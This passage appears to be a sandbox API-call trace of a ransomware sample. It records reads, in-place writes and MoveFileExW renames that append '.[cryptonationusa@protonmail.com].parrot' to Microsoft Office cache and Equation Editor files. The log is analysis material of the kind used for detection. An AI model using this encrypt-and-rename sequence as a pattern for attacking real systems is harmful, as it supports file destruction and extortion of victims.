nNumberOfBytesToUnlockHigh=0x0) returned 1 [0119.150] CloseHandle (hObject=0x284) returned 1 [0119.151] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0119.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.159] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.159] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.161] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.161] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x412b, lpOverlapped=0x0) returned 1 [0119.166] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.167] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0119.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0119.176] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.176] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.178] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.178] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.213] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.213] WriteFile (in: hFile=0x284, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0119.214] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.214] WriteFile (in: hFile=0x284, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.264] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0119.264] CloseHandle (hObject=0x284) returned 1 [0119.264] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.272] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.272] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.274] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.274] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10b2, lpOverlapped=0x0) returned 1 [0119.275] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.275] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b240 | out: hHeap=0x5b0000) returned 1 [0119.278] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.278] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.280] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.280] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.318] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.318] WriteFile (in: hFile=0x284, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0119.319] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.319] WriteFile (in: hFile=0x284, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.322] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228e074, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0119.322] CloseHandle (hObject=0x284) returned 1 [0119.322] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.331] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.331] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.333] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xaec3a, lpOverlapped=0x0) returned 1 [0119.362] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.404] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aac8 | out: hHeap=0x5b0000) returned 1 [0119.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.411] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.411] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.413] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.413] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x5061, lpOverlapped=0x0) returned 1 [0119.417] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.418] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0119.421] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.421] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.426] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.426] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.493] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.493] WriteFile (in: hFile=0x284, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0119.494] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.494] WriteFile (in: hFile=0x284, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.496] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9fa40f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0119.497] CloseHandle (hObject=0x284) returned 1 [0119.497] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.505] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.506] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.506] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.557] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.557] WriteFile (in: hFile=0x284, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0119.558] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.558] WriteFile (in: hFile=0x284, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.561] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb80918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0119.561] CloseHandle (hObject=0x284) returned 1 [0119.561] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.569] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.569] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.571] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.571] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2213, lpOverlapped=0x0) returned 1 [0119.572] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.572] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689b10 | out: hHeap=0x5b0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0119.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.589] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0119.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.593] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9fd, lpOverlapped=0x0) returned 1 [0119.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b258 | out: hHeap=0x5b0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0119.647] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.648] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0119.648] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.649] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x236, lpOverlapped=0x0) returned 1 [0119.649] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a1d8 | out: hHeap=0x5b0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0119.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.747] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0119.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.748] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b0b7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0119.754] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" 